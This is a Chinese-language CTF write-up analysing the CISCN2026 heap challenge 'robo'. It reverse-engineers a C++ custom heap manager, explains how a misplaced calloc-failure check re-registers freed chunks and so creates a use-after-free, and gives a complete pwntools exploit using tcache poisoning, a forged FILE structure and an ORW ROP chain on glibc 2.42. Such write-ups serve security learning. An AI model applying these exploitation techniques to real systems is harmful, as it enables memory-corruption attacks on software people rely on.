4165 字
21 分钟
一道简单但不简约的堆题——CISCN2026初赛堆题robo分析

题目描述#

CISCN2026线上初赛的题目,线上只有一解,查了下发现过去五个月了还没有人写过WP,就尝试了一下,结果发现不是很难,可能是限时+看到cpp逆向大家都不愿意动手写吧(附件在结尾)

基本信息#

Glibc版本2.42,算很新的版本了,高版本Glibc的ptmalloc机制更新可以移步我的上一篇文章[原创]从2026CCB决赛堆题CreditMarket学习Glibc2.39后ptmalloc的机制更新,以及熟悉的保护全开

漏洞分析#

伪代码分析#

一打开IDA就是一股浓厚的cpp味,不知道大佬们cpp逆向一般怎么做比较快,我只会土办法,一边看伪代码一边还原cpp的逻辑,还原出的cpp逻辑如下

class SafeHeapManager {
public:
    struct Chunk {
        std::size_t size = 0;
        bool in_use = false;
        bool contains(std::uintptr_t chunk_base, std::uintptr_t addr, std::size_t len) const {
            if (in_use != true || len == 0) {
                return len == 0;
            }
            if (addr < chunk_base) {
                return false;
            }
            if (size >= len) {
                return size + chunk_base - len >= addr;
            }
            return false;
        }
    };
    struct Shard : public std::map<std::uintptr_t, Chunk> {};
    Shard &get_shard(std::uintptr_t ptr) {
        return shards_[(ptr >> 4) & 0x3ff];
    }
    std::pair<std::uintptr_t, Chunk *> find_in_shard(Shard &shard, std::uintptr_t addr) {
        auto it = shard.upper_bound(addr);
        if (it == shard.begin()) {
            return {0, nullptr};
        }
        --it;
        const std::uintptr_t chunk_base = it->first;
        Chunk &chunk = it->second;
        if (addr < chunk_base || addr >= chunk_base + chunk.size) {
            return {0, nullptr};
        }
        return {chunk_base, &chunk};
    }
    void register_chunk(void *ptr, std::size_t size) {
        const auto addr = reinterpret_cast<std::uintptr_t>(ptr);
        if (addr != 0 && size != 0) {
            Chunk &chunk = get_shard(addr)[addr];
            chunk.size = size;
            chunk.in_use = true;
        }
    }
    bool unregister_chunk(void *ptr) {
        const auto addr = reinterpret_cast<std::uintptr_t>(ptr);
        if (addr == 0) {
            return false;
        }
        Shard &shard = get_shard(addr);
        auto it = shard.find(addr);
        if (it == shard.end()) {
            return false;
        }
        it->second.in_use = false;
        shard.erase(it);
        return true;
    }
    void safe_free(void *ptr) {
        if (unregister_chunk(ptr)) {
            std::free(ptr);
        }
    }
    bool safe_write(void *ptr, const void *src, std::size_t len) {
        if (ptr == nullptr || src == nullptr) {
            return false;
        }
        if (len == 0) {
            return true;
        }
        const auto addr = reinterpret_cast<std::uintptr_t>(ptr);
        Shard &shard = get_shard(addr);
        auto [chunk_base, chunk] = find_in_shard(shard, addr);
        if (chunk == nullptr || !chunk->contains(chunk_base, addr, len)) {
            return false;
        }
        std::memcpy(ptr, src, len);
        return true;
    }
    bool safe_read(void *ptr, void *dst, std::size_t len) {
        if (ptr == nullptr || dst == nullptr) {
            return false;
        }
        if (len == 0) {
            return true;
        }
        const auto addr = reinterpret_cast<std::uintptr_t>(ptr);
        Shard &shard = get_shard(addr);
        auto [chunk_base, chunk] = find_in_shard(shard, addr);
        if (chunk == nullptr || !chunk->contains(chunk_base, addr, len)) {
            return false;
        }
        std::memcpy(dst, ptr, len);
        return true;
    }
private:
    std::array<Shard, 1024> shards_;
};
static SafeHeapManager g_safe_heap_manager;
static unsigned char *base = nullptr;
static int sandbox() {
}
static void init() {
    setvbuf(stdin, nullptr, _IONBF, 0);
    setvbuf(stdout, nullptr, _IONBF, 0);
    setvbuf(stderr, nullptr, _IONBF, 0);
    sandbox();
    base = static_cast<unsigned char *>(std::malloc(0x1000));
    std::free(base);
}
static void menu() {
    std::cout << "1. malloc" << std::endl;
    std::cout << "2. free" << std::endl;
    std::cout << "3. write" << std::endl;
    std::cout << "4. read" << std::endl;
}
int main() {
    init();
    while (true) {
        int choice = 0;
        std::size_t size = 0;
        menu();
        std::cout << "YourChoice:";
        if (!(std::cin >> choice)) {
            return 0;
        }
        if (choice == 1) {
            std::cout << "size:";
            std::cin >> size;
            void *chunk = std::calloc(1, size);
            static void *chunk_pointer_1 = nullptr;
            static std::size_t size_2 = 0;
            if (chunk != nullptr) {
                chunk_pointer_1 = chunk;
                size_2 = size;
            }
            g_safe_heap_manager.register_chunk(chunk_pointer_1, size_2);
            std::cout << "allocated at 0x" << std::hex
                      << reinterpret_cast<std::uintptr_t>(chunk)
                      << std::dec << std::endl;
        } else if (choice == 2) {
            std::cout << "address:";
            std::cin >> value;
            g_safe_heap_manager.safe_free(base + value);
            std::cout << "freed" << std::endl;
        } else if (choice == 3) {
            std::size_t size = 0;
            std::cout << "address:";
            std::cin >> value;
            std::cout << "size:";
            std::cin >> size;
            std::vector<unsigned char> data(size);
            std::cout << "data (hex):";
            for (std::size_t i = 0; i < size; ++i) {
                unsigned int byte = 0;
                std::cin >> std::hex >> byte >> std::dec;
                data[i] = static_cast<unsigned char>(byte);
            }
            if (g_safe_heap_manager.safe_write(base + value, data.data(), data.size())) {
                std::cout << "write success" << std::endl;
            } else {
                std::cout << "write failed" << std::endl;
            }
        } else if (choice == 4) {
            std::size_t size = 0;
            std::cout << "address:";
            std::cin >> value;
            std::cout << "size:";
            std::cin >> size;
            std::vector<unsigned char> data(size);
            if (g_safe_heap_manager.safe_read(base + value, data.data(), data.size())) {
                for (unsigned char byte : data) {
                    std::printf("%02x ", byte);
                }
                std::cout << std::endl;
            } else {
                std::cout << "read failed" << std::endl;
            }
        } else {
            std::cout << "invalid choice" << std::endl;
            std::exit(0);
        }
    }
}

可以发现,这道题设计了一个堆管理器,维护了一个结构体,并且通过对应的结构体来确定堆块是否使用、大小,并且以初始化时的一个堆作为基地址,返回一个offset,并且查找堆块的逻辑是通过offset而非index,除此之外,add使用了calloc(Glibc2.41之后calloc也会优先使用tcache),但是add的size输入没有限制,add、edit、show、delete的次数均无限制。

调试分析#

如果看代码还是比较难理解这个堆管理器到底干了啥的,其实这道题我最开始理解这道题的逻辑是直接通过调试来理解的,分享一下我调试的过程。

申请了一个0x400的堆块,发现除了我们申请的之外,程序还自己申请了一个0x30的堆块,我们可以看一下内容

到这里还看不是很太懂+0x0到+0x18的对应值,但是+0x20和+0x28的值很明显存放了我们所申请堆块的用户指针和用户大小,那就只能再申请一个堆块看结果了

可以看到,确实是每申请一个新堆块就会伴随这个0x30的小块,而且也确定+0x20以及+0x28处存放的一定是堆块的用户指针和用户大小

接下来我们尝试一下free,可以发现,需要我们传入的是一个“address”,但是这里很坑,最开始试着传了0x300和768,结果发现都不能正常free,最后发现要传300。。

发现堆块也确实被正常free了(pwndbg对高版本Glibc的支持有点奇怪,对进入tcache的块判定有点问题,但是通过看堆块被写入的next指针和key可以判断其已经进入了tcache),同时,伴随堆块也同时被free了

edit和show的逻辑就一起展示了,这个传入数据要求hex,show的输出格式也需要单独写

测了一下发现没有UAF,也没有堆溢出,虽然没直接找到漏洞,但这短短几分钟的调试能帮我们少分析很大一部分代码

再回伪代码#

这个add模块对应我们手写的这段代码

        if (choice == 1) {
            std::cout << "size:";
            std::cin >> size;
            void *chunk = std::calloc(1, size);
            static void *chunk_pointer_1 = nullptr;
            static std::size_t size_2 = 0;
            if (chunk != nullptr) {
                chunk_pointer_1 = chunk;
                size_2 = size;
            }
            g_safe_heap_manager.register_chunk(chunk_pointer_1, size_2);
            std::cout << "allocated at 0x" << std::hex
                      << reinterpret_cast<std::uintptr_t>(chunk)
                      << std::dec << std::endl;

不知道大家有没有看出这段代码的漏洞,其实应该要先注意到这个突兀的if,它仅仅做了两个简单的赋值,而这两个值本身都存在于栈上,再将赋完的值传给register_chunk函数进行堆注册,聪明的你肯定想到了题目描述“真的有点粗心呢~”,所以这段代码本来希望实现的逻辑应该是

        if (choice == 1) {
            std::cout << "size:";
            std::cin >> size;
            void *chunk = std::calloc(1, size);
            static void *chunk_pointer_1 = nullptr;
            static std::size_t size_2 = 0;
            if (chunk != nullptr) {
                chunk_pointer_1 = chunk;
                size_2 = size;
                g_safe_heap_manager.register_chunk(chunk_pointer_1, size_2);
            std::cout << "allocated at 0x" << std::hex
                      << reinterpret_cast<std::uintptr_t>(chunk)
                      << std::dec << std::endl;
            }

是为了防止calloc申请失败而做的判定,却意外将register_chunk放到了判定外,导致calloc是否成功都会执行register_chunk函数,而chunk_pointer_1和size_2是存在栈上的变量,在循环当中,如果不对他们进行新的赋值,他们就会沿用之前的值,而这就实现了这道题真正的利用点——UAF。

我们来聊一聊这个UAF的逻辑 我们先看,如果某次calloc(1,size)申请成功, 我们给这个chunk取个名字叫chunk A,满足if (chunk != nullptr)那么紧接着进行变量赋值,chunk_pointer_1 = chunksize_2 = size,并且将堆指针和大小作为参数传给register_chunk进行堆注册。注意,此时栈上chunk_pointer_1这个变量就是chunk A的指针。 倘若我们此时将chunk A给释放,此时程序会进行unregister_chunk,在堆管理器中删除对应的节点,然后对这个堆块实施free操作。而此时我们如果对这个堆块尝试进行write或read操作是会被ban的,因为此时这个堆块并未在堆管理器中注册

那么此时如果我们使calloc报错返回0呢?

我们可以看到,这个堆块依然是释放状态(由tcache的next指针和key值可看出),但我们的数据可以正常写入并且可以正常对这个堆块进行读操作,这就实现了UAF。

同时我们再看堆管理器此时的数据会发现这个被释放的堆已经在堆管理器中被注册了:

原理其实很简单,只有当if条件满足时,栈上的chunk_pointer_1和size变量才会被新赋值,但如果calloc失败返回0值使得没有进入if分支,栈上的chunk_pointer_1和size变量就不会被更新,但依然会执行register_chunk,当我们在第N次calloc成功一个chunk后,将其释放,在第N+1次使得calloc失败,我们就得以在堆块未被重新申请的情况下在堆管理器中得到这个堆块,从而实现UAF。

(使得calloc(1,size)失败return 0的方式可以使size超过INT64_MAX即0x8000000000000000来实现)

漏洞利用#

有了一个UAF后,这道题的利用就十分多元了,因为add的size输入没有限制,add、edit、show、delete的次数均无限制,通过tcache可以随意拿任意地址读写,不管是通过_environ打栈劫持执行流,又或是打IO劫持执行流都可以,我直接利用house of some(apple2变体)一把梭了,这道题真正卡人的应该是UAF逻辑的分析,它并不像我们常见的在free后未将chunk指针置零而导致的UAF,而是在自定义的堆管理器中,存在逻辑漏洞可以使得被释放的堆块被重新注册,在得到UAF后的堆利用劫持执行流并不是这道题的难点,所以不花太多时间分析了,exp如下:

#!/usr/bin/env python3
from pwn import *  # type: ignore
from SomeofHouse import HouseOfSome
context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"]
file_name = "./pwn"
libc_position = "/root/glibc-all-in-one/libs/2.42-0ubuntu3_amd64/libc.so.6"
remote_addr = ""
remote_port = ""
e = ELF(f"{file_name}")
context.binary = e
context.log_level = "debug"  # error/debug
libc = None
if args.REMOTE:
    p = remote(remote_addr, remote_port)
elif args.GDB:
    gdbscript = """"""
    p = gdb.debug(file_name, gdbscript=gdbscript)
else:
    p = process(file_name)
if libc_position != "":
    libc = ELF(f"{libc_position}")
assert libc is not None
sd = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
rc = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)
uu32 = lambda a: u32(a.ljust(4, b"\x00"))
uu64 = lambda a: u64(a.ljust(8, b"\x00"))
sh = lambda: p.interactive()
slog = lambda name, addr: log.success(f"{name} ==> {hex(addr)}")
def debug(cmd=""):
    if not args.REMOTE:
        gdb.attach(p, cmd)
        pause()
def choice(a):
    ru(b"ce:")
    sl(str(a).encode())
address = []
def add(a):
    choice(1)
    ru(b"ze:")
    sl(str(a).encode())
    ru(b"allocated at ")
    addr = int(ru(b"\n").strip(), 16)
    address.append(addr)
def delete(a):
    choice(2)
    ru(b"ess:")
    sl(str(hex(address[a])[2:]).encode())
def edit(a, b):
    choice(3)
    ru(b"ess:")
    sl(str(hex(address[a])[2:]).encode())
    ru(b"ze:")
    sl(str(len(b)).encode())
    ru(b"data (hex):")
    sl(b" ".join(f"{x:02x}".encode() for x in b))
def show(a, b):
    choice(4)
    ru(b"ess:")
    sl(str(hex(address[a])[2:]).encode())
    ru(b"ze:")
    sl(str(b).encode())
    ru(b"data (hex):\n")
    line = ru(b"\n").strip()
    data = bytes(int(x, 16) for x in line.split())
    return data
def safe(a, b):
    return b ^ (a >> 12)
add(0x50)  # idx0
delete(0)
add(0x8000000000000000)  # idx1
heap_base = uu64(show(0, 5)) << 12
slog(b"heap", heap_base)
heap1_addr = heap_base + 0x310
add(0x500)  # idx2
delete(2)
add(0x8000000000000000)  # idx3
libc_base = uu64(show(2, 6)) - 0x234B20
slog(b"libc", libc_base)
add(0x60)  # idx4
add(0x200)  # idx5
add(0x200)  # idx6
edit(4, b"/flag")
flag_addr = heap_base + 0x3E0
fk_addr = heap_base + 0x450
libc.address = libc_base
fake_file_start = heap_base + 0x6A0
hos = HouseOfSome(libc=libc, controlled_addr=fake_file_start)
payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start, 0)
edit(5, payload)
edit(0, p64(safe(heap1_addr + 0x10, heap_base + 0xC0)))
add(0x50)  # idx7
add(0x50)  # idx8
edit(8, p64(libc_base + 0x2354B0))
add(0x20)  # idx9
edit(9, p64(0) * 2 + p64(fk_addr))
choice(5)
ru(b"invalid choice\n")
rop_base_stack_addr = hos.bomb_raw(p)
slog(b"stack", rop_base_stack_addr)
pop_rax = libc_base + 0xE6367
pop_rdi = libc_base + 0x11B8BA
pop_rsi = libc_base + 0x5C247
pop_rdx = libc_base + 0x48CD2
open_addr = libc.sym["open"]
syscall = libc_base + 0x1348CB
read_addr = libc.sym["read"]
write_addr = libc.sym["write"]
orw = (
    p64(pop_rax)
    + p64(2)
    + p64(pop_rdi)
    + p64(flag_addr)
    + p64(pop_rsi)
    + p64(0)
    + p64(pop_rdx)
    + p64(0)
    + p64(syscall)
)
orw += (
    p64(pop_rdi)
    + p64(3)
    + p64(pop_rsi)
    + p64(heap_base + 0x100)
    + p64(pop_rdx)
    + p64(0x30)
    + p64(read_addr)
)
orw += (
    p64(pop_rdi)
    + p64(1)
    + p64(pop_rsi)
    + p64(heap_base + 0x100)
    + p64(pop_rdx)
    + p64(0x30)
    + p64(write_addr)
)
sl(orw)
sh()

结语#

如标题所言,这是一道简单但不简约的堆题,并不像往年的其他的堆题,通过限制malloc次数、大小,show、edit、delete的次数来增加堆利用的难度,而是通过cpp逆向的方式,使得程序逻辑更难被分析,同时利用逻辑漏洞设计UAF,这道题也反映了近年对于pwn手的要求,需要对难以还原执行流的程序具备漏洞分析利用的能力,不过话也说回来,在生产环境中出现的漏洞更多也与逻辑相关,而不是简单的漏洞原语,多学习、多阅读、多复现,安全这条路还有很多需要我们学习的。

一道简单但不简约的堆题——CISCN2026初赛堆题robo分析
https://foxmiao.fun/posts/robo/ciscn_robo_wp/
作者
F0xm1ao
发布于
2026-05-17
许可协议
CC BY-NC-SA 4.0